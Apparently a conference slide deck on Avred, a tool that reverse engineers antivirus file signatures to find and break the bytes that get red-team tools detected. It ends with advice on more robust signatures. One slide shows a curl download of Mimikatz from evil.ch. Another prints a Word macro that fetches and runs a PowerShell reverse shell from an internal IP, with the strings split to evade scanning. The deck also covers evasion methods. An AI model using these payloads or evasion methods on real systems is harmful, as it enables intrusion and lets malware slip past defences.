1 of 154

Cracking

the

Shield

Analyzing and

Reverse Engineering

Antivirus Signatures

Dobin Rutishauser

mastodon.social/@dobin

https://bit.ly/45h73JY

2 of 154

Our Signatures Are Bad

And We Should Feel Bad

3 of 154

About Me

Developer // TerreActive

Pentester // Compass Security

Developer // UZH

SOC Analyst // Infoguard

RedTeam Lead // Raiffeisen

SSL/TLS Recommendations�// OWASP Switzerland

Burp Sentinel - Semi Automated Web Scanner�// BSides Vienna

Automated WAF Testing and XSS Detection�// OWASP Switzerland Barcamp

Fuzzing For Worms - AFL For Network Servers�// Area 41

Develop your own RAT - EDR & AV Defense�// Area 41

Memory Corruption Exploits & Mitigations�// BFH - Bern University of Applied Sciences

Gaining Access�// OST - Eastern Switzerland University of Applied Sciences

3

Avred

4 of 154

Content

The scope and intro

Identifying matches

Bypass AV

Scanning, 11min

Background, 11min

Verifying, 15min

Augment & Outflank, 15min

01

02

03

04

Conclusion

What does it all mean, 5min

05

Make sure matches work

4

Avred

5 of 154

Project Websites

Try it yourself live:

  • https://avred.r00ted.ch

Source:

Avred

6 of 154

Intro

Signatures

& Research Area

7 of 154

Intro: Signatures

This talk is about file signatures

  • Used in Antivirus
  • Used to detect malicious files
  • Multiple byte strings
  • Using AND, OR

Avred

8 of 154

Intro: Where are Signatures?

Content Filter / Proxy

AV

NIDS

AV

Client

AV

Mail Gateway

AV

Server

AV

Internet

8

Avred

9 of 154

Intro: Not Signatures

I talk about the

Anvirus part of Antivirus

software

Or: File scanning for malware

Not part of this talk:

Sandbox Execution

In-memory scanning

Heuristics

Behaviour based detection

EDR / EPP

Runtime AMSI

Avred

10 of 154

Intro: Signatures

https://www.cnet.com/news/privacy/new-antivirus-software-looks-at-behaviors-not-signatures/ (2009)

"The antivirus companies are flooded with malware to add to signature databases," with 20,000 to 30,000 new unique samples coming out every day, said Roger Thompson, chief research officer at AVG. "It's time to do something different."

Things to consider when creating or using signatures:

  • False positive rate
  • Performance

Avred

11 of 154

Intro: Why thinking about signatures?

Red Teaming:

Antivirus should not remove our shit

Blue Teaming:

Antivirus should remove all the malicious shit

Initial Access:

LNK, Docx with macros

C2 Implants:

CobaltStrike, Sliver

Tools:

Mimikatz, Seatbelt

Avred

12 of 154

Intro: RedTeaming

$ curl evil.ch/mimikatz.exe

$ ./mimikatz.exe

File not found

Avred

13 of 154

Intro: Anti-Signature

AV detects a tool - what to do?

  • Recompile
    • Some tools dont even release a binary on github anymore
  • Obfuscate
    • Change source code, encrypt strings, etc.
  • Packer
    • UPX etc.
    • Can be detected reliably
  • Loader
    • Use loader to decrypt code
    • Uses Process injection etc. to run it

Avred

14 of 154

Intro: Loader’s

Malware.exe

Malware.exe

Encrypted

Loader

Avred

15 of 154

Intro: Loader’s

Loader:

  • Need Anti-EDR
  • Powershell version downgrades, process injection, hollowing, API unhooking, (in-) direct syscalls with ROP, thread sleep, fake backtrace, process herpaderping…

And: DLL Sideloading becomes a trend

  • but files on disk are being scanned

Why not go back to the beginning,

and attack the signatures itself?

Avred

16 of 154

The good

old times

Antivirus

in the Age of

floppy disks

17 of 154

Oldschool Antivirus

  • Viruses are distributed via floppy disks
  • Old-school viruses
    • Infect exe files
    • When started: copy to other exes
    • Exe files get distributed via floppy (games)

Elk Cloner (1982) - Apple II

The Brain Virus (1986) - IBM

The Vienna Virus (1987) - Makro

Avred

18 of 154

Original Virus

Bacteria:

  • Organism
  • Alive
  • Antiobiothics

Virus:

  • Strang of “DNA”
  • Dead (?)
  • Needs a host to replicate
  • Show DNA to our immune system
    • Signature -> (Antivirus scanner)

Avred

19 of 154

Oldschool Virus

file.exe

Virus

Avred

20 of 154

Oldschool Virus

OrigFile.exe

Virus Encrypted

Loader

Virus

Virus Encrypted

Loader

Avred

21 of 154

Oldschool Virus

Virus Polymorphism:

  • Change code without changing its meaning (phenotype expression)
  • Started around 1990

x = x + 1

x = x + 100�x = x - 99

x ++

A = 10�B = 21�x = B - 2 * A

Avred

22 of 154

Polymorphism

Virus

Virus Encrypted

Key = “A”

Loader

Virus Encrypted

Key = “B”

lo4d3R

Polymorph loader

Re-encrypt payload

Avred

23 of 154

Oldschool Antivirus

  • AV: Have Signatures for Viruses
  • Anti-AV:
    • Encryption: encrypt virus with different keys
    • Polymorphism: change parts of the code with equivalent code
    • Metamorphism: polymorphism also on the encrypted part
  • AV improvements
    • Hand written signatures
    • Code emulator
    • Heuristics
  • Zines: 29A, 40hex

Avred

24 of 154

AV anti-polymorphism detection:

  • Emulation
    • Has signature of the unencrypted virus body
    • Runs the exe in a virtual computer (until virus body is decrypted)

https://www.youtube.com/watch?v=bKgf5PaBzyg

How to uninstall McAfee

25 of 154

Avred

AntiVirus REDucer

AntiVirus REDteaming

26 of 154

Inspiration: ThreatCheck

https://github.com/rasta-mouse/ThreatCheck (2019)

Takes a binary as input, splits it until it pinpoints that exact bytes that the target engine will flag on and prints them to the screen. This can be helpful when trying to identify the specific bad pieces of code in your tool/payload.

Avred

27 of 154

Inspiration: Avdebugger

Inspiration: “Automatically extracting static anti-virus signatures”

  • Vladimir Meier, SCRT, Insomnihack 2022
  • Avdebugger:
    • A python implementation of ThreatCheck
    • PE section aware
  • Avcleaner:
    • Tool to transparently encrypt strings (and add decryption code) in PE files
  • Proposition: AV looks (only) at .data strings (not code)

https://github.com/scrt/avcleaner/https://github.com/scrt/avdebuggerhttps://blog.scrt.ch/2020/06/19/engineering-antivirus-evasion/

Avred

28 of 154

Inspiration: Avdebugger

Avdebugger shortcomings:

  • Uses Defender port for Linux to scan
  • Hard to get running
  • Source code is hard to read or modify

Question: AV really only detects strings in data sections?

Avred: a better ThreatCheck

Goal: Identify which parts of a file get identified by the AV

Goal: Make it as easy as possible to make the file undetected

Avred

29 of 154

Avred

Reducer

Scan file for matches

30 of 154

Reducer

Reducer

Matches

file.exe

AV Oracle

Avred

31 of 154

AMSI: Accessing Antivirus

  • Use AV executable directly: av.exe -scan malicious.exe
  • Or: AMSI:

Installed AV

Windows AMSI

File

hResult = AmsiInitialize(APP_NAME, &amsiContext);

hResult = AmsiOpenSession(amsiContext, &session);

hResult = AmsiScanBuffer(amsiContext,

content, contentSize, fname, session, &amsiRes);

Process

File

Avred

32 of 154

AMSI as a Web Service

Reducer

Avred-Server

HTTP REST

Antivirus

AMSI

Matches

Mimikatz.exe

SharpUp.exe

file.exe

Avred

33 of 154

Avred: Reducer

  • Have: AV Oracle
    • File: Detected
    • File: Not detected

  • Need: Algorithm to find matches in file

Avred

34 of 154

Reducer Algorithm: Divide and Conquer

1

2

3

4

5

6

File

Detected

Detected

Detected

Overwritten 0x00

Avred

35 of 154

Reducer: Matches

Match 0: 1000-1100

Match 1: 2000-3000

Match 2: 4000-4040

File

Avred

36 of 154

Reducer: Matches

Match:

  • Offset
  • Length
  • (File / Data)

Show hex dump of match

Avred

37 of 154

Avred

Usage

How to use it

38 of 154

Demo: Make undetected

Demo:

  • How to use Avred to make a file undetected
  • SharpUp, Match 28: DecryptGPPassword, cPassword

Avred

39 of 154

Demo: Obfuscate SharpUp

Avred

40 of 154

Demo: Obfuscate SharpUp

Avred

41 of 154

Demo: Obfuscate SharpUp

Avred

42 of 154

Reducer

Summary:

  • Files are detected with a signature
    • Which looks for unique byte combinations in the file
  • Uses a divide & conquer algorithm to identify all matches
    • offset, size
    • Reversing of the AV signature
  • Can modify the match to make it undetectable
    • Breaking the signature

Avred

43 of 154

Reducer

Challenges

Scan Problems

& Solutions

44 of 154

Reducer Improvement: File Structure

.EXE are in PE format

PE files have headers and sections

Sections are either code (.text) or data (.data)

Assumption:

No detections in headers

No “fuzzing” of headers, they need to stay intact

Avred

45 of 154

Reducer Improvement: File Structure

Section Detection: Zero section

Hide: .text -> Detected: True

Hide: .rdata -> Detected: False

Hide: .data -> Detected: True

Hide: .pdata -> Detected: True

Hide: _RDATA -> Detected: True

Hide: .rsrc -> Detected: True

Hide: .reloc -> Detected: True

1 section(s) trigger the antivirus independantly

section: .rdata

Launching bytes analysis on section: .rdata

(96768-143360)

Avred

46 of 154

Reducer Improvement: File Structure

Scanning for matches...

Section Detection: Zero section (leave all others intact)

Hide: .text -> Detected: False

Hide: .data -> Detected: True

Hide: .rdata -> Detected: False

Hide: .pdata -> Detected: True

Hide: .xdata -> Detected: True

Hide: .idata -> Detected: False

Hide: .CRT -> Detected: True

Hide: .tls -> Detected: True

Hide: .rsrc -> Detected: True

Hide: .reloc -> Detected: True

Hide: Header -> Detected: False

3 section(s) trigger the antivirus independantly

section: .text

section: .rdata

section: .idata

Launching bytes analysis on section: .text (1024-58368)

Avred

47 of 154

Reducer Improvement: File Structure

Avred

48 of 154

Reducer Improvements: Section analysis

Goal: Find PE sections which make file undetected if overwritten

  • Then Reduce each sections individually

No sections found?

  • Fallback to reduce complete file

Avred

49 of 154

Reducer Improvements

Other things to consider when reducing:

  • Some files are detected by hash?
  • Some sections are being detected by hash?
  • Sometimes the algorithm finishes but file still detected? (with all matches overwritten)
  • Some scans take very long (1 / 10 / 100min)

Avred

50 of 154

Verifier

Improving Results

51 of 154

Verifier

Reducer

Matches

Verifier

file.exe

Avred

52 of 154

Verifier

Verifier goes through the matches again to make sure they work

Most important test: #2

Fully Overwrite Match X -> Still Detected?

Avred

53 of 154

Verifier: The hunt for dominance

Match 0: 1000-1100

File: Matches

File: Match #0, Test:2

File with

Overwritten match 0

Detected?

Avred

54 of 154

Verifier: Tests

Match 1

Match 2

Match 3

Test 1

Test 2

Test 3

Match

Conclusion

Match

Conclusion

Match

Conclusion

Signature

Conclusion

Avred

55 of 154

Verifier Example: Weak Signature (Dominant Matches)

Avred

56 of 154

Verifier Example: Weak Signature (Dominant Matches)

Avred

57 of 154

Verifier Example: Weak Signature (Non-Dominant Matches)

Avred

58 of 154

Verifier: Robust signature

Avred

59 of 154

Verifier: Signature Categorization

Signature type:

  • One: One dominant match
  • Weak: At least one dominant match
  • Robust: Otherwise

Reversing of (yara) rule / boolean formula

  • Weak: a AND b AND c
  • Robust: a OR b OR c

Avred

60 of 154

Verifier: Match & Signature Overview

Avred

61 of 154

Verifier: Interpretation

Match conclusion for RedTeamer:

Green

Grey

Red

Dominant :-)

Robust :-(

Weak :-|

Avred

62 of 154

Verifier: Demo

Demo:

  • Match verification overview
  • Show & Tell

Avred

63 of 154

Yara

Yara Rules

64 of 154

YARA: AND (Fragile)

Avred

65 of 154

YARA: ALL (Fragile)

Avred

66 of 154

YARA: ANY (OR)

Avred

67 of 154

YARA: 2 of 3

Avred

68 of 154

Yara: Code wildcards in signature

Avred

69 of 154

Yara

Yara-Signator

70 of 154

https://yaraify.abuse.ch/yarahub/rule/win_qakbot_malped/

Avred

71 of 154

Avred

72 of 154

Summary

  • AV use something like yara
    • AND / OR of several byte patterns
  • Most files have a dominant match
    • Dominant: change this part of the file to make file undetected
  • Reversing the signature with an AV oracle is not trivial
    • Performance
    • Correctness
  • Verifier
    • Reversing the boolean formula of the signature
    • Making sure the match is really a match

Avred

73 of 154

Verifying

the

Verifier

Realistic Testing

with AV’s

74 of 154

Verifying the Verifier

Lets perform some tests with real-life AV

Just fully overwrite complete dominant matches

Download file with different browsers

See whats happening

Note:

  • No execution, only download

Avred

75 of 154

Verifying the Verifier

Demo:

  • Seatbelt.exe Match 0

Avred

76 of 154

Verifying the verifier

What

Defender

Chrome

+CDP

Defender

Firefox

+CDP

Defender

Firefox

-CDP

Defender

Chrome

-CDP

AVG

Chrome

Avira

Firefox

Seatbelt.exe

Match #0

D

ND

ND

ND

ND

ND

D: Detected

ND: Not detected

CDP: Cloud Delivery Protection

Avred

77 of 154

AV: AVG

Demo: AVG

Avred

78 of 154

AV: Avira

Demo: Avira

Avred

79 of 154

AV Defender: Firefox

Demo

Defender

Firefox

Cloud-Delivered Protection

Result:

Not detected

Avred

80 of 154

AV Defender: Chrome

Demo

Defender

Chrome

NO Cloud Delivered Protection

Result:

Not detected

Avred

81 of 154

AV Defender: Chrome + Cloud-Delivered protection

Demo

Defender

Chrome

Cloud-Delivered protection

Result:

Detected

Avred

82 of 154

Avred: Outflank in Real-Life: Defender

Strong:

  • Defender Cloud-Delivered Protection
  • With Chrome, Edge

Weak:

  • Firefox with CDP
  • AVG
  • Avira

Avred

83 of 154

Augmentation

Add information

to matches

84 of 154

Augmentation

Reducer

Matches

Verifier

file.exe

Augmentation

Avred

85 of 154

Avred

86 of 154

Augmentation

We only have hexdumps

Which match is easiest to change?

Avred

87 of 154

Augmentation

EXE PE

88 of 154

Augmentation: PE EXE

Simple EXE:

  • Compiled into x86/x64 assembly
  • “Native” Code executed by the CPU
  • C, C++, Rust, Nim etc.
  • Stored in .exe files in PE format
  • Commonly used for malware and tools

  • Divided into sections
    • .text: Code
    • .data: Data

Avred

89 of 154

Code vs. Data

char a = “Test”;

for(int n=0; n<0xFF; n++) {

log(“Error: “);

}

Data

Code (.text)

Avred

90 of 154

Augmentation: PE EXE

Disassemble matches to get code

  • Using radare2 to disassemble
  • Problem: radare2 works with processes
    • virtual (relative) addresses (RVA), not file offsets
    • Need to translate between RVA from process to file offset

Avred

91 of 154

Augmentation: PE EXE

DOS header

NT header

Section headers

.text

.data

.rsrc

File / Harddisk

0

0x1000

Avred

92 of 154

Augmentation: PE EXE

DOS header

NT header

Section headers

.text

.data

.rsrc

File / Harddisk

.text

.data

Memory / RAM

0

0x1000

0

0xFFFFFFFF

Avred

93 of 154

Augmentation: PE EXE

Dos header

Nt header

Section headers

.text

.data

.rsrc

.text

File

0x400000

0x400

Memory / RAM / Virtual Address Space

Avred

94 of 154

Augmentation: PE EXE

Dos header

Nt header

Section headers

.data

.rsrc

File

0x400000

Match

0x400

Memory / RAM / Virtual Address Space

Match

Avred

95 of 154

Augmentation: PE EXE

Dos header

Nt header

Section headers

.data

.rsrc

File

0x400000

Match

0x400123

0x523

0x400

Memory / RAM / Virtual Address Space

Match

Avred

96 of 154

Augmentation: PE EXE

Dos header

Nt header

Section headers

.text

.data

.rsrc

File

Match

Avred

97 of 154

PE EXE

Demo: PE Disassembly

Avred

98 of 154

Augmentation: PE EXE

Result: Disassembly of matches

Allows to identify which part of the “Virus” is being identified

  • Important part of the loader?
  • A random function?

As a RedTeamer:

  • Stare at disassembly
  • Modify source code accordingly

Avred

99 of 154

Augmentation

EXE PE DotNet

100 of 154

Augmentation: PE DotNet

DotNet:

  • DotNet IL code (CIL)
    • Similar to Java bytecode
    • Not x86/x64 assembly!
  • Stored in .exe files
    • in PE format
    • with additional DotNet headers
  • C# widely used for modern RedTeaming tools

c# source

.cs

CIL in .dll/.exe

Machine Code

CSC Compiler

JIT Compiler

Avred

101 of 154

Augmentation: PE DotNet

Dos header

Nt header

Section headers

CLI Header

Signature

[ Methods ]

CLR Metadata Header

Streams Header

Streams Data

.text

.rsrc

.reloc

Avred

102 of 154

Augmentation: PE DotNet

Dos header

Nt header

Section headers

CLI Header

Signature

[ Methods ]

CLR Metadata Header

Streams Header

Streams Data

.text

.rsrc

.reloc

Method Header

Method Code

Method Header

Method Code

Avred

103 of 154

Augmentation: PE DotNet

Example dotnet disassembly output with ilspy (C#):

ilspycmd -il test.dll

.method private hidebysig static void '<Main>$' (string[] args) cil managed {

// Method begins at RVA 0x2086

// Header size: 1

// Code size: 13 (0xd)

.maxstack 8

IL_0000: ldstr "a"

IL_0005: ldc.i4.2

IL_0006: call int32 Program::'<<Main>$>g__MyMethod|0_0'(string, int32)

IL_000b: pop

IL_000c: ret

}

Avred

104 of 154

Augmentation: PE DotNet

Dos header

Nt header

Section headers

CLI Header

Signature

<Functions>

CLR Metadata Header

Streams Header

Streams Data

.text

.rsrc

.reloc

Method Header

Method Code

Method Header

Method Code

RVA Addresses

Avred

105 of 154

Augmentation: PE DotNet

Used ilspy first

Wrote a parser for DotNet headers to resolve RVA

Later:

Avred

106 of 154

Augmentation: PE DotNet

Avred

107 of 154

Augmentation: PE DotNet

Dos header

Nt header

Section headers

CLI Header

Signature

<Functions>

CLR Metadata Header

Streams Header

.text

.rsrc

.reloc

Stream: #~

Stream: #Strings

Stream: #US

Stream: #Blob

Avred

108 of 154

Augmentation: PE DotNet

Streams:

#~

Metadata stream

#Strings

Namespace, type & member names

#US

User string, from code

#GUID

GUID’s

#Blob

Binary data

Avred

109 of 154

Augmentation: PE DotNet

Dos header

Nt header

Section headers

CLI Header

Signature

<Functions>

CLR Metadata Header

Streams Header

.text

.rsrc

.reloc

TypeDef’s

MethodDef’s

Stream: #~

Stream: #Strings

Stream: #US

Stream: #Blob

#~ Metadata Stream

Avred

110 of 154

Augmentation: PE DotNet

Metadata Stream #~

Avred

111 of 154

Augmentation: PE DotNet

Metadata Stream #~

Avred

112 of 154

Augmentation

Word

113 of 154

Augmentation: Office

Office files:

  • .docm (.xlsm, .pptm)
  • Used for initial access with macros
  • ZIP File containing
    • Lots of XML files
    • VbaProject file

Avred

114 of 154

Word Makro Disassembly

% unzip P5-5h3ll.docm

Archive: P5-5h3ll.docm

inflating: [Content_Types].xml

inflating: _rels/.rels

inflating: word/_rels/document.xml.rels

inflating: word/document.xml

inflating: word/vbaProject.bin

inflating: word/_rels/vbaProject.bin.rels

inflating: word/theme/theme1.xml

inflating: word/vbaData.xml

inflating: word/settings.xml

inflating: docProps/app.xml

inflating: word/styles.xml

inflating: docProps/core.xml

inflating: word/fontTable.xml

inflating: word/webSettings.xml

Avred

115 of 154

Word Makro Disassembly

% python3 olevba.py -c avred/tests/data/word.docm.vbaProject.bin

olevba 0.60.1 on Python 3.9.6 - http://decalage.info/python/oletools

Public Sub Eval(ByVal sPSCmd As String)

CreateObject("WScript.Shell").Run sPSCmd, 0, True

End Sub

Private Sub Document_Open()

write_now = "powershell -c " & """Set-Content -Value 'Local Write PoC' -Path 'C:\tmp.txt'"""

write_staged = "powershell -c " & """$a = curl http://10.10.2" & "0.106:90" & "03/write; IE" & "X($a)"""

reshe_1 = "detected, see in _notes"

reshe_2 = "detected, see in _notes"

reshe_staged = "powershell -c " & """$a = curl http://10.10.2" & "0.106:90" & "03/reshe; IE" & "X($a)"""

cmd = reshe_staged

res = MsgBox(cmd, vbYesNo, "Continue?")

Avred

116 of 154

Word Makro Disassembly

% python3 olevba.py --show-pcode -c avred/tests/data/word.docm.vbaProject.bin

VBA/ThisDocument - 5150 bytes

Line #0:

FuncDefn (Public Sub Eval(ByVal sPSCmd As String))

Line #1:

Ld sPSCmd

LitDI2 0x0000

LitVarSpecial (True)

LitStr 0x000D "WScript.Shell"

ArgsLd CreateObject 0x0001

ArgsMemCall Run 0x0003

Line #2:

EndSub

Line #3:

Line #4:

FuncDefn (Sub Document_Open())

Line #5:

LitStr 0x000E "powershell -c "

Avred

117 of 154

Augmentation: Office

Avred

118 of 154

Augmentation: Office

Header

Chunk 1

Chunk 2

Chunk 3

Chunk 4

Section 1

Section 2

VbaProject.bin

OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format)

representing linked objects and embedded objects within container documents.

Avred

119 of 154

Augmentation: Office

Header

Chunk 3

Chunk 1

Chunk 2

Chunk 4

Section 1

Section 2

Avred

120 of 154

Augmentation: Office

Header

Mini Chunk 1

Mini Chunk 2

Mini Chunk 3

Mini Chunk 4

Chunk 2

Chunk 1

Avred

121 of 154

Augmentation: Office

Header

Mini Chunk 7

Mini Chunk 4

Mini Chunk 1

Mini Chunk 3

Chunk 2

Chunk 1

Mini Chunk 5

Mini Chunk 2

Mini Chunk 6

Mini Chunk 5

Avred

122 of 154

Augmentation: Demo

Reading the source of

https://github.com/decalage2/olefile

https://github.com/decalage2/oletools

To calculate the file offset of a word VRA

made me cry

Multi billion $ cyber industry identifying malware

decalage2

Avred

123 of 154

Augmentation: Why

Green

Grey

Red

Dominant :-)

Robust :-(

Weak :-|

Match 0

Match 2

Match 3

Match 1

Avred

124 of 154

Findings

Statistics

125 of 154

Findings: Test Files

Languages used in Red Teaming:

  • C#
  • C/C++
  • Nim
  • Python
  • Go
  • Powershell

Avred

126 of 154

Findings: ThreatCheck Comparison

ThreatCheck:

  • De-facto standard tool for signature reversing
  • Shows only one (1) match
  • Often not the relevant match
  • Works well on some “easy” files
  • Doesnt work on many files
  • Doesnt consider PE/DOTNET headers

Avred

127 of 154

PE: Signatures in which sections?

PE:

60% Data

40% Code

Section

Matches Cnt

.text

298

.idata

196

.rdata

131

.data

116

.rsrc

10

Avred

128 of 154

PE DotNet: Signatures in which sections?

DotNet:

Mostly Data:

#Strings

#~ Metadata

Mostly MethodDef

Not so much Code

Section

Matches Cnt

#Strings

500

#~

580

methods

167

.rsrc

85

Blob

80

#US

20

guid

8

Avred

129 of 154

Findings

  • Most signatures have at least one dominant match
    • Exception: CobaltStrike
  • PE Headers and similar are not relevant / checked
  • Most files have between 1 and 40 matches

Only Code

Only Data

Code & Data

10%

45%

45%

Avred

130 of 154

Findings: RedTeaming tools

  • Rules sometimes seem man-made
    • Often have relevant data or code in it

  • AV seems to parse PE header
  • AV seems to parse PE DotNet header

Word:

  • Only vbaProject.bin used
  • Signatures are not restricted to sections
    • Ole FAT Fragmentation not really considered (of course)

Avred

131 of 154

Outflank

Automatic

signature breaker

132 of 154

Augmentation

Reducer

Matches

Verifier

file.exe

Augmentation

Outflank

Avred

133 of 154

Outflank - Signature Breaker

Use matches to break signature

Modify code/data as defined in matches matches to break signature

“Obfuscation”

https://unprotect.it/technique/code-cave/

A code cave is a series of null bytes in a process's memory. The code cave inside a process's memory is often a reference to a section of the code’s script functions that have capacity for the injection of custom instructions.

Avred

134 of 154

Outflank: NOP

Avred

135 of 154

Outflank: NOP

PE EXE Obfuscator

  • Goal: Just changing one byte in a dominant match
    • Replacing 1-byte instructions like NOP / INT3
  • Result:
    • doesnt work well
    • Signatures dont seem to cover irrelevant code like NOP slides

Nerding about NOP sleds on x64

  • NOP: No Operation = 0x90
  • Only NOP is a 1-byte NOP
    • Close: int3, cld, std
  • Several kinds of 2-byte NOPs
    • Ask ChatGPT about it

Avred

136 of 154

Outflank: Swap

E8 69 05 00 00 8b f0 33 ff 39 e3

E8 69 05 00 00 33 ff 8b f0 39 e3

Avred

137 of 154

Outflank: Swap

PE EXE Obfuscator with swapping lines

    • Find two lines which dont work on the same registers (R2 ESIL)
    • Swap them
  • Works sometimes
    • Many matches dont have swap’able lines

Avred

138 of 154

Outflank: Swap: R2 ESIL

> e scr.color=0

> pdJ <size> @loc

"offset": 4204128,

"opcode": "xchg eax, esi",

"disasm": "xchg eax, esi",

"esil":

"eax,esi,^,esi,=,esi,eax,^,

eax,=,eax,esi,^,esi,=",

"refptr": false,

"fcn_addr": 0,

"fcn_last": 0,

"size": 1,

"bytes": "96",

"family": "cpu",

"type": "mov",

"reloc": false,

"type_num": 9,

"type2_num": 0

Avred

139 of 154

Outflank: DotNet Method Header

Augmentation gives us byte-level interpretation of the match

Remember: DotNet methods have a header:

Avred

140 of 154

Outflank: DotNet Method Header

Augmentation gives us byte-level interpretation of the match

Method header: max-stack size

Changing it: Not much luck

Avred

141 of 154

Outflank: Demo

<Show Outflank’able files & patches>

Avred

142 of 154

Outflank: DotNet ideas

Proposed DotNet Obfuscator:

  • Source code level
  • Add arguments to functions
  • Rename variables and functions
  • Change method stack size and length

https://github.com/obfuscar/obfuscar

https://github.com/NotPrab/.NET-Obfuscator

https://github.com/xforcered/InvisibilityCloak

https://github.com/yck1509/ConfuserEx (abonded)

https://github.com/XenocodeRCE/neo-ConfuserEx (abonded too)

Section

Matches Cnt

#Strings

500

#~

580

methods

167

.rsrc

85

Blob

80

#US

20

guid

8

Avred

143 of 154

A note on obfuscators

Many different interpretations of “obfuscation”

  • Against reversing?
  • Against analysis?
  • Against cracking?

Signature-breaker is different

  • Not against humans, but static signatures
  • Just need to change the right bytes (same size)
  • Augmentation to gain detailed information
  • But: Can be done generally (without matches)
  • Open research area, but not in my scope

Avred

144 of 154

Conclusion

145 of 154

Conclusion

Reducer

Matches

Verifier

file.exe

Augmentation

Outflank

Avred

146 of 154

Conclusion: Reducer

Reducer:

  • Avred focuses on identifying matches
    • Analysis of signatures
  • Lots of corner cases
    • Tuning divide-and-conquer algorithmn
    • Skipping headers (PE, DotNet)
    • Multiple scan iterations
    • Verification
    • Match- and signature conclusion
  • Identifying matches works well
    • Most of the time
    • Focus on dominant matches
    • Actual signature may be more complicated

Avred

147 of 154

Signature Quality

Signature Quality:

  • AV Signatures can be strong or weak
    • Quality varies
    • Source of signatures?
  • Important RedTeaming tools seem to have good signatures
    • Mimikatz, CobaltStrike

  • Identifying matches can make obfuscation easy
    • Obfuscators still needed at the end

  • Reliably detecting matches/signatures is still not a completely explored field

Avred

148 of 154

Conclusion: AV

AV Conclusion:

  • Defender stronk
    • With Chrome / Edge
    • AMSI-only scan does not include “CDP”
  • Firefox, AVG, Avast easier to bypass

Avred

149 of 154

Conclusion: Outflank

Outflanking:

  • Outflanking not primary objective
    • Most signatures seem to be using Data (not Code)
    • Generic obfuscater dont need matches
    • Avred can give some pointers on where to focus development

Avred

150 of 154

Better Signatures

Better signatures

  • Identify hard to change things to sig’
  • Invest more time for long-lasting tools (e.g. mimikatz)
  • Use “OR” more so than “AND” to make signatures more robust

However, it is important to stress that low-cost detections are typically low cost to evade. YARA signatures generally can be thought of as having vast breadth but with limited depth (i.e. they are relatively quick and low cost to churn out/automate but have limited robustness for long term detection efficacy).

https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature/

Avred

151 of 154

Furter Research

Further research:

  • Compare between AV’s
  • Assumption: It looks about the same

  • Compare identified matches with original (yara) rules (OSS Avira?)

  • Integrate avred into a malware CI/CD pipeline

  • Plugins:
    • Go augmentation
    • COFF support
    • etc.

Avred

152 of 154

CI/CD

Runtime executor:

  • Send malware as part of a CI/CD pipeline to execute remotely
    • ISO -> LNK -> Powershell.exe -> .bat -> rundll32 -> CobaltStrike
  • Dynamic analysis from AV, EDR
  • Feedback based on captured event logs ?
  • Modify malware until not detected anymore

Avred

153 of 154

Countermeasure

Detect activity, not tools

  • For most attackers: command line usecases, lolbins
  • Honeypot AD objects, users, files and services
  • AD auditing to detect information gathering, ticket misuse and lateral movement (DefenderForIdentity)
  • Identify Psexec communication with NIDS
  • 2FA
  • Heuristics (IAT), EDR, sandbox execution, machine learning…

Avred

154 of 154

Avred